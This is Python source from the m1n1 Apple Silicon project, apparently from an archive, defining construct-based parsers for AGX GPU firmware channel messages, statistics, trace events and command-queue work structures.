"unk_4" / Int64ul, "unk_c" / Int64ul, "data" / HexDump(Default(Bytes(0x1c), bytes(0x1c))), Ver("G == G14 && V >= V13_2", ZPadding(0x10)), ) class DC_UpdateIdleTS(ConstructClass): subcon = Struct ( "msg_type" / Const(0x23, Int32ul), "data" / HexDump(Default(Bytes(0x2c), bytes(0x2c))), Ver("G == G14 && V >= V13_2", ZPadding(0x10)), ) class UnknownMsg(ConstructClass): subcon = Struct ( "msg_type" / Hex(Int32ul), "data" / HexDump(Bytes(0x2c)), Ver("G == G14 && V >= V13_2", ZPadding(0x10)), ) if Ver.check("G == G14 && V >= V13_2"): DeviceControlSize = 0x40 else: DeviceControlSize = 0x30 DeviceControlMsg = FixedSized(DeviceControlSize, Select( DC_DestroyContext, DC_Init, DC_UpdateIdleTS, DC_1e, DC_Write32, DC_GrowTVBAck, UnknownMsg, )) class StatsMsg_Power(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x00, Int32ul)), ZPadding(0x18), # ??? why the hole? never written... "power" / Hex(Int64ul), ZPadding(0xc), # Confirmed padding Ver("V >= V13_0B4", ZPadding(0x10)), ) def __str__(self): return f"Power: {self.power / 8192.0:.3f} mW" class StatsMsg_PowerOn(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x02, Int32ul)), "power_off_ticks" / Dec(Int64ul), ZPadding(0x24), # Confirmed padding Ver("V >= V13_0B4", ZPadding(0x10)), ) def __str__(self): t = self.power_off_ticks / 24000000 return f"Power ON: spent {t:.04}s powered off ({self.power_off_ticks} ticks)" class StatsMsg_PowerOff(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x03, Int32ul)), "power_on_ticks" / Dec(Int64ul), ZPadding(0x24), # Confirmed padding Ver("V >= V13_0B4", ZPadding(0x10)), ) def __str__(self): t = self.power_on_ticks / 24000000 return f"Power OFF: spent {t:.04}s powered on ({self.power_on_ticks} ticks)" class StatsMsg_Util(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x04, Int32ul)), "timestamp" / Hex(Int64ul), "util1" / Dec(Int32ul), "util2" / Dec(Int32ul), "util3" / Dec(Int32ul), "util4" / Dec(Int32ul), ZPadding(0x14), # Confirmed padding Ver("V >= V13_0B4", ZPadding(0x10)), ) def __str__(self): return f"Utilization: {self.util1:>3d}% {self.util2:>3d}% {self.util3:>3d}% {self.util4:>3d}%" class StatsMsg_AvgPower(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x09, Int32ul)), "active_cs" / Dec(Int64ul), "unk2" / Hex(Int32ul), "unk3" / Hex(Int32ul), "unk4" / Hex(Int32ul), "avg_power" / Dec(Int32ul), ZPadding(0x14), # Confirmed padding Ver("V >= V13_0B4", ZPadding(0x10)), ) def __str__(self): return f"Activity: Active {self.active_cs * 10:6d} ms Avg Pwr {self.avg_power:4d} mW ({self.unk2:d} {self.unk3:d} {self.unk4:d})" class StatsMsg_Temp(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x0a, Int32ul)), ZPadding(8), # Not written "raw_value" / Hex(Int32ul), "scale" / Hex(Int32ul), "tmin" / Hex(Int32ul), "tmax" / Hex(Int32ul), ZPadding(0x14), # Confirmed padding Ver("V >= V13_0B4", ZPadding(0x10)), ) def __str__(self): temp = self.raw_value / float(self.scale) / 64.0 return f"Temp: {temp:.2f}°C s={self.scale:d} tmin={self.tmin:d} tmax={self.tmax:d}" class StatsMsg_PowerState(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x0b, Int32ul)), "timestamp" / Hex(Int64ul), "last_busy_ts" / Hex(Int64ul), "active" / Hex(Int32ul), "poweroff" / Dec(Int32ul), "unk2" / Dec(Int32ul), "pstate" / Dec(Int32ul), "unk4" / Dec(Int32ul), "unk5" / Dec(Int32ul), ZPadding(4), # Confirmed padding Ver("V >= V13_0B4", ZPadding(0x10)), ) def __str__(self): act = "ACT" if self.active else " " off = "OFF" if self.poweroff else " " return f"PowerState: {act} {off} ps={int(self.pstate)} {self.unk4} {self.unk2} {self.unk5}" class StatsMsg_FWBusy(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x0c, Int32ul)), "timestamp" / Hex(Int64ul), "flag" / Int32ul, ZPadding(0x20), # Confirmed padding Ver("V >= V13_0B4", ZPadding(0x10)), ) def __str__(self): return f"FW active: {bool(self.flag)}" class StatsMsg_PState(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x0d, Int32ul)), ZPadding(8), # Not written "ps_min" / Dec(Int32ul), "unk1" / Dec(Int32ul), "ps_max" / Dec(Int32ul), "unk3" / Dec(Int32ul), ZPadding(0x14), # Confirmed padding Ver("V >= V13_0B4", ZPadding(0x10)), ) def __str__(self): return f"PState: {self.ps_min:d}..{self.ps_max:d} ({self.unk1:d}/{self.unk3:d})" class StatsMsg_TempSensor(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x0e, Int32ul)), ZPadding(4), # Not written "sensor_id" / Hex(Int32ul), "raw_value" / Hex(Int32ul), "scale" / Dec(Int32ul), "tmin" / Dec(Int32ul), "tmax" / Dec(Int32ul), ZPadding(0x14), # Confirmed padding Ver("V >= V13_0B4", ZPadding(0x10)), ) def __str__(self): temp = self.raw_value / float(self.scale) / 64.0 return f"TempSensor: #{self.sensor_id:d} {temp:.2f}°C s={self.scale:d} tmin={self.tmin:d} tmax={self.tmax:d}" if Ver.check("V < V13_0B4"): StatsSize = 0x30 else: StatsSize = 0x40 StatsMsg = FixedSized(StatsSize, Select( StatsMsg_Power, StatsMsg_PowerOn, StatsMsg_PowerOff, StatsMsg_Util, StatsMsg_AvgPower, StatsMsg_Temp, StatsMsg_PowerState, StatsMsg_FWBusy, StatsMsg_PState, StatsMsg_TempSensor, UnknownMsg, )) class FWLogMsg(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0x03, Int32ul)), "seq_no" / Hex(Int32ul), "timestamp" / Hex(Int64ul), "msg" / PaddedString(0xc8, "ascii") ) class FaultMsg(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(0, Int32ul)), "unk_4" / HexDump(Bytes(0x34)), ) class FlagMsg(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(1, Int32ul)), "firing" / Array(2, Hex(Int64ul)), "unk_14" / Hex(Int16ul), "tail" / Bytes(0x38 - 0x18), ) class TimeoutMsg(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(4, Int32ul)), "counter" / Hex(Int32ul), "unk_8" / Hex(Int32ul), "stamp_index" / Hex(Int32sl), "unkpad_16" / HexDump(Bytes(0x38 - 0x10)), ) class GrowTVBMsg(ConstructClass): subcon = Struct ( "msg_type" / Hex(Const(7, Int32ul)), "vm_id" / Hex(Int32ul), "bm_id" / Hex(Int32ul), "counter" / Hex(Int32ul), "tail" / HexDump(Bytes(0x38 - 0x10)), ) EventMsg = FixedSized(0x38, Select( FaultMsg, FlagMsg, TimeoutMsg, GrowTVBMsg, HexDump(Bytes(0x38)), )) TRACE_MSGS = { (0x00, 0x00, 0): ("StartTA", "uuid", None, "unk", "cmdqueue"), (0x00, 0x01, 0): ("FinishTA", "uuid", None, "unk", "cmdqueue"), (0x00, 0x04, 0): ("Start3D", "uuid", "partial_render", "unk", "cmdqueue"), (0x00, 0x05, 0): ("Finish3D_unk", "uuid", "unk", "flag", "buf_related"), (0x00, 0x06, 0): ("Finish3D", "uuid", None, "unk", "cmdqueue"), (0x00, 0x07, 0): ("StartCP", "uuid", None, "unk", "cmdqueue"), (0x00, 0x08, 0): ("FinishCP", "uuid", None, "unk", "cmdqueue"), (0x00, 0x0a, 0): ("StampUpdateTA", "value", "ev_id", "addr", "uuid"), (0x00, 0x0c, 0): ("StampUpdate3D", "value", "ev_id", "addr", "uuid"), (0x00, 0x0e, 0): ("StampUpdateCL", "value", "ev_id", "addr", "uuid"), (0x00, 0x10, 1): ("TAPreproc1", "unk"), (0x00, 0x10, 2): ("TAPreproc2", "unk1", "unk2"), (0x00, 0x17, 0): ("Finish3D2", "uuid", None, "unk", "cmdqueue"), (0x00, 0x28, 0): ("EvtNotify", "firing0", "firing1", "firing2", "firing3"), (0x00, 0x2f, 0): ("Finish3D_unk2", "uuid", "unk"), (0x00, 0x1e, 0): ("CleanupPB", "uuid", "unk2", "slot"), (0x01, 0x0a, 0): ("Postproc", "cmdid", "event_ctl", "stamp_val", "uuid"), (0x01, 0x0b, 0): ("EvtComplete", None, "event_ctl"), (0x01, 0x0d, 0): ("EvtDequeued", "next", "event_ctl"), (0x01, 0x16, 0): ("InitAttachment", "idx", "flags", "addr", "size"), (0x01, 0x18, 0): ("ReInitAttachment", "idx", "flags", "addr", "size"), } class KTraceMsg(ConstructClass): THREADS = [ "irq", "bg", "smpl", "pwr", "rec", "kern", ] subcon = Struct ( "msg_type" / Hex(Const(5, Int32ul)), "timestamp" / Hex(Int64ul), "args" / Array(4, Int64ul), "code" / Int8ul, "channel" / Int8ul, "pad" / Const(0, Int8ul), "thread" / Int8ul, "unk_flag" / Int64ul, ) def __str__(self): ts = self.timestamp / 24000000 code = (self.channel, self.code, self.unk_flag) if code in TRACE_MSGS: info = TRACE_MSGS[code] args = info[0] + ": " + " ".join(f"{k}={v:#x}" for k, v in zip(info[1:], self.args) if k is not None) else: args = "UNK: " + ", ".join(hex(i) for i in self.args) return f"TRACE: [{ts:10.06f}][{self.THREADS[self.thread]:4s}] {self.channel:2x}:{self.code:2x} ({self.unk_flag}) {args}" class FWCtlMsg(ConstructClass): subcon = Struct ( "addr" / Int64ul, "unk_8" / Int32ul, "context_id" / Int32ul, "unk_10" / Int16ul, "unk_12" / Int16ul, ) channelNames = [ "TA_0", "3D_0", "CL_0", "TA_1", "3D_1", "CL_1", "TA_2", "3D_2", "CL_2", "TA_3", "3D_3", "CL_3", "DevCtrl", "Event", "FWLog", "KTrace", "Stats", ## Not really in normal order "FWCtl" ] # Exclude FWCtl CHANNEL_COUNT = len(channelNames) - 1 channelRings = ( [[(RunCmdQueueMsg, RunCmdQueueSize, 0x100)]] * 12 + [ [(DeviceControlMsg, DeviceControlSize, 0x100)], [(EventMsg, 0x38, 0x100)], [ (FWLogMsg, 0xd8, 0x100), # unk 0 (FWLogMsg, 0xd8, 0x100), # init log (FWLogMsg, 0xd8, 0x100), # unk 2 (FWLogMsg, 0xd8, 0x100), # warnings? (FWLogMsg, 0xd8, 0x100), # unk 4 (FWLogMsg, 0xd8, 0x100), # unk 5 ], [(KTraceMsg, 0x38, 0x200)], [(StatsMsg, StatsSize, 0x100)], [(FWCtlMsg, 0x14, 0x100)], ] ) class ChannelStateFields(RegMap): _SIZE = 0x30 READ_PTR = 0x00, Register32 WRITE_PTR = 0x20, Register32 class FWControlStateFields(RegMap): _SIZE = 0x20 READ_PTR = 0x00, Register32 WRITE_PTR = 0x10, Register32 class Channel(Reloadable): def __init__(self, u, uat, info, ring_defs, base=None, state_fields=ChannelStateFields): self.uat = uat self.u = u self.p = u.proxy self.iface = u.iface self.ring_defs = ring_defs self.info = info self.accessor = uat.ioaccessor(0) self.state_addr = info.state_addr self.state = [] self.rb_base = [] self.rb_maps = [] if base is None: p = info.ringbuffer_addr else: p = base for i, (msg, size, count) in enumerate(ring_defs): assert msg.sizeof() == size self.state.append(state_fields(self.accessor, self.state_addr + 0x30 * i)) m = uat.iotranslate(0, p, size * count) self.rb_base.append(p) self.rb_maps.append(m) p += size * count def get_message(self, ring, index, meta_fn=None): msgcls, size, count = self.ring_defs[ring] assert index < count addr = self.rb_base[ring] + index * size stream = self.uat.iostream(0, addr) if meta_fn is not None: stream.meta_fn = lambda a, b: meta_fn(0, a, b) return msgcls.parse_stream(stream) def clear_message(self, ring, index): msgcls, size, count = self.ring_defs[ring] self.put_message(ring, index, b"\xef\xbe\xad\xde" * (size // 4)) def put_message(self, ring, index, obj): msgcls, size, count = self.ring_defs[ring] assert index < count if isinstance(obj, bytes): data = obj else: data = obj.build() self.uat.iowrite(0, self.rb_base[ring] + index * size, data) class ChannelInfo(ConstructClass): subcon = Struct( "state_addr" / Hex(Int64ul), "ringbuffer_addr" / Hex(Int64ul), ) class ChannelInfoSet(ConstructClass): CHAN_COUNT = CHANNEL_COUNT subcon = Struct(*[ name / ChannelInfo for name in channelNames[:CHAN_COUNT]]) __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__ == __name__) m1n1-1.4.11/proxyclient/m1n1/fw/agx/cmdqueue.py000066400000000000000000000540011453754430200210720ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.constructutils import * from construct import * from .microsequence import * from ...utils import RegMap, Register32 __all__ = [] class WorkCommandBarrier(ConstructClass): """ sent before WorkCommand3D on the Submit3d queue. Might be for initializing the tile buckets? Example: 00000004 0c378018 ffffffa0 00000c00 00000006 00000900 08002c9a 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 """ subcon = Struct( "magic" / Const(0x4, Int32ul), "stamp_addr" / Int64ul, "stamp" / ROPointer(this.stamp_addr, StampCounter), "wait_value" / Int32ul, "event" / Int32ul, # Event number that signals a stamp check "stamp_self" / Int32ul, "uuid" / Int32ul, "unk" / Default(Int32ul, 0), Ver("G >= G14X", "pad" / ZPadding(0x20)), ) class WorkCommandInitBM(ConstructClass): """ occasionally sent before WorkCommandTA on the SubmitTA queue. Example: 00000004 0c378018 ffffffa0 00000c00 00000006 00000900 08002c9a 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 """ subcon = Struct( "magic" / Const(0x6, Hex(Int32ul)), "context_id" / Hex(Int32ul), # Might be context? "buffer_mgr_slot" / Hex(Int32ul), # 0 "unk_c" / Hex(Int32ul), # 0 "unk_10" / Hex(Int32ul), # 0x30 "buffer_mgr_addr" / Int64ul, "buffer_mgr" / ROPointer(this.buffer_mgr_addr, BufferManagerInfo), "stamp_value" / Hex(Int32ul), # 0x100 ) class Flag(ConstructValueClass): subcon = Hex(Int32ul) def __init__(self): self.value = 0 class LinkedListHead(ConstructClass): subcon = Struct( "prev" / Int64ul, "next" / Int64ul, ) def __init__(self): super().__init__() self.prev = 0 self.next = 0 class EventControlUnkBuf(ConstructValueClass): subcon = HexDump(Bytes(0x8)) def __init__(self): super().__init__() self.value = b"\xff" * 8 class EventControl(ConstructClass): subcon = Struct( "event_count_addr" / Int64ul, "event_count" / ROPointer(this.event_count_addr, Int32ul), "submission_id" / Int32ul, "cur_count" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, "unk_18" / Int64ul, "unk_20" / Int32ul, "vm_slot" / Int32ul, "has_ta" / Int32ul, "pstamp_ta" / Array(4, Int64ul), "has_3d" / Int32ul, "pstamp_3d" / Array(4, Int64ul), "has_cp" / Int32ul, "pstamp_cp" / Array(4, Int64ul), "in_list" / Int32ul, Ver("G >= G14 && V < V13_0B4", "unk_98_g14_0" / HexDump(Bytes(0x14))), "list_head" / LinkedListHead, Ver("G >= G14 && V < V13_0B4", "unk_a8_g14_0" / ZPadding(4)), Ver("V >= V13_0B4", "unk_buf" / EventControlUnkBuf), ) def __init__(self): super().__init__() self.unk_14 = 0 self.unk_18 = 0 self.unk_20 = 0 self.vm_slot = 0 self.has_ta = 0 self.pstamp_ta = [0]*4 self.has_3d = 0 self.pstamp_3d = [0]*4 self.has_cp = 0 self.pstamp_cp = [0]*4 self.in_list = 0 self.unk_98_g14_0 = bytes(0x14) self.list_head = LinkedListHead() self.unk_buf = EventControlUnkBuf() class WorkCommandCP(ConstructClass): """ For compute Example: 00000000 00000003 00000000 00000004 0c3d80c0 ffffffa0 00000000 00000000 00000000 00000020 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000040 * 00000060 00000000 00000000 00088000 00000015 00078000 00000015 000a6300 00000015 00000080 000a6308 00000015 000a6310 00000015 000a6318 00000015 00000000 00000011 000000a0 00008c60 00000000 00000041 00000000 000e8000 00000015 00000040 00000000 000000c0 00000001 00000000 0000001c 00000000 00000000 00000000 00000000 00000000 000000e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000100 * 000001e0 00000000 00000000 0c311cc0 ffffffa0 00000240 00000000 00000000 00000000 00000200 00000000 00000000 00000000 00000000 00000000 00000000 00088000 00000015 00000220 00078024 00000015 00000000 00000000 00000000 00000000 00000000 00000000 00000240 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000260 110022b3 00000000 ffffffff 00000500 00000015 00000000 00000000 00000000 00000280 000c8014 ffffffa0 0c378014 ffffffa0 00003b00 00000005 00000000 00000000 000002a0 120022b8 00000000 00000000 00000000 00029030 ffffffa0 00029038 ffffffa0 000002c0 00000000 00000000 00000000 00000000 00000015 00000000 00000000 00000000 000002e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 """ subcon = Struct( "addr" / Tell, "magic" / Const(0x3, Hex(Int32ul)), Ver("V >= V13_0B4", "counter" / Int64ul), "unk_4" / Hex(Int32ul), "context_id" / Hex(Int32ul), "event_control_addr" / Hex(Int64ul), "event_control" / ROPointer(this.event_control_addr, EventControl), "unk_2c" / Int32ul, Ver("G >= G14X", "registers" / Array(128, RegisterDefinition)), Ver("G >= G14X", "unk_g14x" / Default(Array(64, Int32ul), [0]*64)), Ver("G < G14X", "unk_buf" / HexDump(Bytes(0x50))), Ver("G < G14X", "compute_info" / ComputeInfo), "registers_addr" / Int64ul, "register_count" / Int16ul, "registers_length" / Int16ul, "unk_pad" / HexDump(Bytes(0x24)), "microsequence_ptr" / Hex(Int64ul), "microsequence_size" / Hex(Int32ul), "microsequence" / ROPointer(this.microsequence_ptr, MicroSequence), "compute_info2" / ComputeInfo2, "encoder_params" / EncoderParams, "job_meta" / JobMeta, "ts1" / TimeStamp, "ts2" / TimeStamp, "ts3" / TimeStamp, "unk_2c0" / Int32ul, "unk_2c4" / Int32ul, "unk_2c8" / Int32ul, "unk_2cc" / Int32ul, "client_sequence" / Int8ul, "pad_2d1" / Default(HexDump(Bytes(0x3)), bytes(0x3)), "unk_2d4" / Int32ul, "unk_2d8" / Int8ul, Ver("V >= V13_0B4", "unk_ts" / TimeStamp), Ver("V >= V13_0B4", "unk_2e1" / Default(HexDump(Bytes(0x1c)), bytes(0x1c))), Ver("V >= V13_0B4", "unk_flag" / Flag), Ver("V >= V13_0B4", "unk_pad" / Default(HexDump(Bytes(0x10)), bytes(0x10))), "pad_2d9" / Default(HexDump(Bytes(0x7)), bytes(0x7)), ) class WorkCommand0_UnkBuf(ConstructValueClass): subcon = HexDump(Bytes(0x18)) def __init__(self): self.value = bytes(0x18) class WorkCommand1_UnkBuf(ConstructValueClass): subcon = HexDump(Bytes(0x110)) def __init__(self): self.value = bytes(0x110) class WorkCommand1_UnkBuf2(ConstructClass): subcon = Struct( "unk_0" / Int64ul, "unk_8" / Int64ul, "unk_10" / Int64ul, ) class WorkCommand3D(ConstructClass): """ For 3D Example: 0xfa00c095640 00000000 00000001 00000004 00000000 0c2d5f00 ffffffa0 000002c0 0c3d80c0 ffffffa0 00000020 0c3e0000 ffffffa0 0c3e0100 ffffffa0 0c3e09c0 ffffffa0 01cb0000 00000015 00000040 00000088 00000000 00000001 0010000c 00000000 00000000 00000000 00000000 00000060 3a8de3be 3abd2fa8 00000000 00000000 0000076c 00000000 0000a000 00000000 00000080 ffff8002 00000000 00028044 00000000 00000088 00000000 005d0000 00000015 000000a0 00758000 00000015 0000c000 00000000 00000640 000004b0 0257863f 00000000 000000c0 00000000 00000000 00000154 00000000 011d0000 00000015 011d0000 00000015 000000e0 0195c000 00000015 0195c000 00000015 00000000 00000000 00000000 00000000 00000100 00000000 00000000 00000000 00000000 0193c000 00000015 00000000 00000000 00000120 0193c000 00000015 00000000 00000000 01b64000 00000015 00000000 00000000 00000140 01b64000 00000015 00000000 00000000 01cb0000 00000015 01cb4000 00000015 00000160 c0000000 00000003 01cb4000 00000015 00010280 00000000 00a38000 00000015 00000180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 000001a0 00000000 00000000 00000000 00000000 00000000 00000011 00008c60 00000000 000001c0 00000000 00000000 00000000 00000000 0000001c 00000000 00000000 00000000 000001e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000200 * 000003c0 00000012 00028084 00000000 00000000 3a8de3be 3abd2fa8 00000000 00000000 000003e0 0010000c 00000000 00025031 00000004 3f800000 00000700 00000000 00000001 """ subcon = Struct( "addr" / Tell, "magic" / Const(0x1, Hex(Int32ul)), Ver("V >= V13_0B4", "counter" / Int64ul), "context_id" / Hex(Int32ul), "unk_8" / Hex(Int32ul), "microsequence_ptr" / Hex(Int64ul), # Command list "microsequence_size" / Hex(Int32ul), "microsequence" / ROPointer(this.microsequence_ptr, MicroSequence), "event_control_addr" / Hex(Int64ul), "event_control" / ROPointer(this.event_control_addr, EventControl), "buffer_mgr_addr" / Int64ul, "buffer_mgr" / ROPointer(this.buffer_mgr_addr, BufferManagerInfo), "buf_thing_addr" / Int64ul, "buf_thing" / ROPointer(this.buf_thing_addr, BufferThing), "unk_emptybuf_addr" / Hex(Int64ul), "tvb_tilemap" / Hex(Int64ul), "unk_40" / Hex(Int64ul), "unk_48" / Hex(Int32ul), "tile_blocks_y" / Hex(Int16ul), # * 4 "tile_blocks_x" / Hex(Int16ul), # * 4 "unk_50" / Hex(Int64ul), "unk_58" / Hex(Int64ul), "merge_upper_x" / Hex(Float32l), "merge_upper_y" / Hex(Float32l), "unk_68" / Hex(Int64ul), "tile_count" / Hex(Int64ul), # Embedded structures that are also pointed to by other stuff Ver("G < G14X", "struct_2" / Start3DStruct2), Ver("G < G14X", "struct_1" / Start3DStruct1), Ver("G >= G14X", "registers" / Array(128, RegisterDefinition)), Ver("G >= G14X", "unk_g14x" / Default(Array(64, Int32ul), [0]*64)), "struct_3" / Start3DStruct3, "unk_758" / Flag, "unk_75c" / Flag, "unk_buf" / WorkCommand1_UnkBuf, "busy_flag" / Flag, "struct_6" / Start3DStruct6, "struct_7" / Start3DStruct7, "unk_buf2" / WorkCommand1_UnkBuf2, "ts1" / TimeStamp, "ts2" / TimeStamp, "ts3" / TimeStamp, "unk_914" / Int32ul, "unk_918" / Int64ul, "unk_920" / Int32ul, "client_sequence" / Int8ul, "pad_925" / Default(HexDump(Bytes(0x3)), bytes(0x3)), Ver("V >= V13_0B4", "unk_928_0" / Int32ul), Ver("V >= V13_0B4", "unk_928_4" / Int8ul), Ver("V >= V13_0B4", "unk_ts" / TimeStamp), Ver("V >= V13_0B4", "unk_928_d" / Default(HexDump(Bytes(0x1b)), bytes(0x1b))), Ver("V == V13_3", "unk_pad2" / Default(HexDump(Bytes(0x3c)), bytes(0x3c))), ) class WorkCommand0_UnkBuf(ConstructValueClass): subcon = HexDump(Bytes(0x18)) def __init__(self): super().__init__() self.value = bytes(0x18) class WorkCommandTA(ConstructClass): """ For TA Example: 00000000 00000000 00000004 00000000 0c3d80c0 ffffffa0 00000002 00000000 0c3e0000 00000020 ffffffa0 0c3e0100 ffffffa0 0c3e09c0 ffffffa0 00000000 00000200 00000000 00000040 1e3ce508 1e3ce508 01cb0000 00000015 00000000 00000000 00970000 00000015 00000060 01cb4000 80000015 006b0003 003a0012 00000001 00000000 00000000 00000000 00000080 0000a000 00000000 00000088 00000000 01cb4000 00000015 00000000 00000000 000000a0 0000ff00 00000000 007297a0 00000015 00728120 00000015 00000001 00000000 000000c0 00728000 00040015 009f8000 00000015 00000000 00000000 00000000 00000000 000000e0 0000a441 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000100 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000011 00000120 00000000 00000000 0000001c 00000000 00008c60 00000000 00000000 00000000 00000140 00000000 00000000 00000000 00000000 0000001c 00000000 00000000 00000000 00000160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000180 * 000003a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 000000f0 000003c0 00000088 00000202 04af063f 00025031 00404030 00303024 000000c0 00000180 000003e0 00000100 00008000 00000000 00000000 00000000 00000000 00000000 00000000 """ subcon = Struct( "addr" / Tell, "magic" / Const(0x0, Hex(Int32ul)), Ver("V >= V13_0B4", "counter" / Int64ul), "context_id" / Hex(Int32ul), "unk_8" / Hex(Int32ul), "event_control_addr" / Hex(Int64ul), "event_control" / ROPointer(this.event_control_addr, EventControl), "buffer_mgr_slot" / Hex(Int64ul), "buffer_mgr_addr" / Int64ul, "buffer_mgr" / ROPointer(this.buffer_mgr_addr, BufferManagerInfo), "buf_thing_addr" / Int64ul, "buf_thing" / ROPointer(this.buf_thing_addr, BufferThing), "unk_emptybuf_addr" / Hex(Int64ul), "unk_34" / Hex(Int32ul), # Embedded structures that are also pointed to by other stuff Ver("G >= G14X", "registers" / Array(128, RegisterDefinition)), Ver("G >= G14X", "unk_154" / Default(HexDump(Bytes(0x100)), bytes(0x100))), # unknown Ver("G < G14X", "struct_2" / StartTACmdStruct2), # 0x11c bytes Ver("G < G14X", "unk_154" / Default(HexDump(Bytes(0x268)), bytes(0x268))), # unknown Ver("G < G14X", "tiling_params" / TilingParameters), # unknown Ver("G < G14X", "unk_3e8" / HexDump(Bytes(0x64))), # unknown "registers_addr" / Int64ul, "register_count" / Int16ul, "registers_length" / Int16ul, "unk_pad" / Int32ul, "unkptr_45c" / Int64ul, "tvb_size" / Int64ul, "microsequence_ptr" / Hex(Int64ul), "microsequence_size" / Hex(Int32ul), "microsequence" / ROPointer(this.microsequence_ptr, MicroSequence), "ev_3d" / Int32ul, "stamp_value" / Int32ul, "struct_3" / StartTACmdStruct3, # 0x114 bytes "unk_594" / WorkCommand0_UnkBuf, "ts1" / TimeStamp, "ts2" / TimeStamp, "ts3" / TimeStamp, "unk_5c4" / Int32ul, "unk_5c8" / Int32ul, "unk_5cc" / Int32ul, "unk_5d0" / Int32ul, "client_sequence" / Int8ul, "pad_5d5" / Default(HexDump(Bytes(0x3)), bytes(0x3)), Ver("V >= V13_0B4", "unk_5d8_0" / Int32ul), Ver("V >= V13_0B4", "unk_5d8_4" / Int8ul), Ver("V >= V13_0B4", "unk_ts" / TimeStamp), Ver("V >= V13_0B4", "unk_5d8_d" / Default(HexDump(Bytes(0x13)), bytes(0x13))), "pad_5d8" / Default(HexDump(Bytes(0x8)), bytes(0x8)), Ver("V >= V13_3", "unk_pad2" / Default(HexDump(Bytes(0xc)), bytes(0xc))), ) class WorkCommandBlit(ConstructClass): subcon = Struct( "addr" / Tell, "magic" / Const(0x2, Int32ul), Ver("V >= V13_0B4", "counter" / Int64ul), "context_id" / Int32ul, "event_control_addr" / Hex(Int64ul), "event_control" / ROPointer(this.event_control_addr, EventControl), "unk_10" / Hex(Int32ul), "unk_14" / Int32ul, Ver("G < G14X", "blit_info" / BlitInfo), Ver("G >= G14X", "registers" / Array(128, RegisterDefinition)), Ver("G >= G14X", "unk_g14x" / Default(Array(64, Int32ul), [0]*64)), "registers_addr" / Int64ul, "register_count" / Int16ul, "registers_length" / Int16ul, "blit_info2" / BlitInfo2, "microsequence_ptr" / Hex(Int64ul), "microsequence_size" / Hex(Int32ul), "microsequence" / ROPointer(this.microsequence_ptr, MicroSequence), "unkptr_49c" / HexDump(Bytes(0x114)), "job_meta" / JobMeta, "unk_5d8" / Int32ul, "unk_stamp_ptr" / Int64ul, "unk_stamp_val" / Int32ul, "unk_5ec" / Int32ul, "encoder_params" / EncoderParams, "unk_618" / Int32ul, "ts1" / TimeStamp, "ts2" / TimeStamp, "ts3" / TimeStamp, "unk_634" / Int32ul, "unk_638" / Int32ul, "unk_63c" / Int32ul, "unk_640" / Int32ul, "client_sequence" / Int8ul, "pad_645" / Default(HexDump(Bytes(0x3)), bytes(0x3)), "unk_648" / Int32ul, "unk_64c" / Int8ul, "pad_64d" / Default(HexDump(Bytes(0x7)), bytes(0x7)), ) class UnknownWorkCommand(ConstructClass): subcon = Struct( "magic" / Hex(Int32ul), "unk_4" / Hex(Int32ul), "unk_8" / Hex(Int32ul), "unk_c" / Hex(Int32ul), "unk_10" / Hex(Int32ul), "unk_14" / Hex(Int32ul), "unk_18" / Hex(Int32ul), "unk_1c" / Hex(Int32ul), ) class CmdBufWork(ConstructClass): subcon = Struct( "cmdid" / Peek(Int32ul), "cmd" / Switch(this.cmdid, { 0: WorkCommandTA, 1: WorkCommand3D, 2: WorkCommandBlit, 3: WorkCommandCP, 4: WorkCommandBarrier, 6: WorkCommandInitBM, }) ) class JobList(ConstructClass): subcon = Struct( "first_job" / Default(Int64ul, 0), "last_head" / Int64ul, "unkptr_10" / Default(Int64ul, 0), ) class GPUContextData(ConstructClass): subcon = Struct( "unk_0" / Int8ul, "unk_1" / Int8ul, "unk_2" / Default(Bytes(3), bytes(3)), "unk_5" / Int8ul, "unk_6" / Default(Bytes(0x18), bytes(0x18)), "unk_1e" / Int8ul, "unk_1f" / Int8ul, "unk_20" / Default(Bytes(3), bytes(3)), "unk_23" / Int8ul, "unk_24" / Default(Bytes(0x1c), bytes(0x1c)), ) def __init__(self): self.unk_0 = 0xff self.unk_1 = 0xff self.unk_5 = 1 self.unk_1e = 0xff self.unk_1f = 0 self.unk_23 = 2 class CommandQueuePointerMap(RegMap): GPU_DONEPTR = 0x00, Register32 GPU_RPTR = 0x30, Register32 CPU_WPTR = 0x40, Register32 class CommandQueuePointers(ConstructClass): subcon = Struct( "gpu_doneptr" / Int32ul, ZPadding(12), "unk_10" / Int32ul, ZPadding(12), "unk_20" / Int32ul, ZPadding(12), "gpu_rptr" / Int32ul, ZPadding(12), "cpu_wptr" / Int32ul, ZPadding(12), "rb_size" / Int32ul, ZPadding(12), ) def __init__(self): super().__init__() self.gpu_doneptr = 0 self.unk_10 = 0 self.unk_20 = 0 self.gpu_rptr = 0 self.cpu_wptr = 0 self.rb_size = 0x500 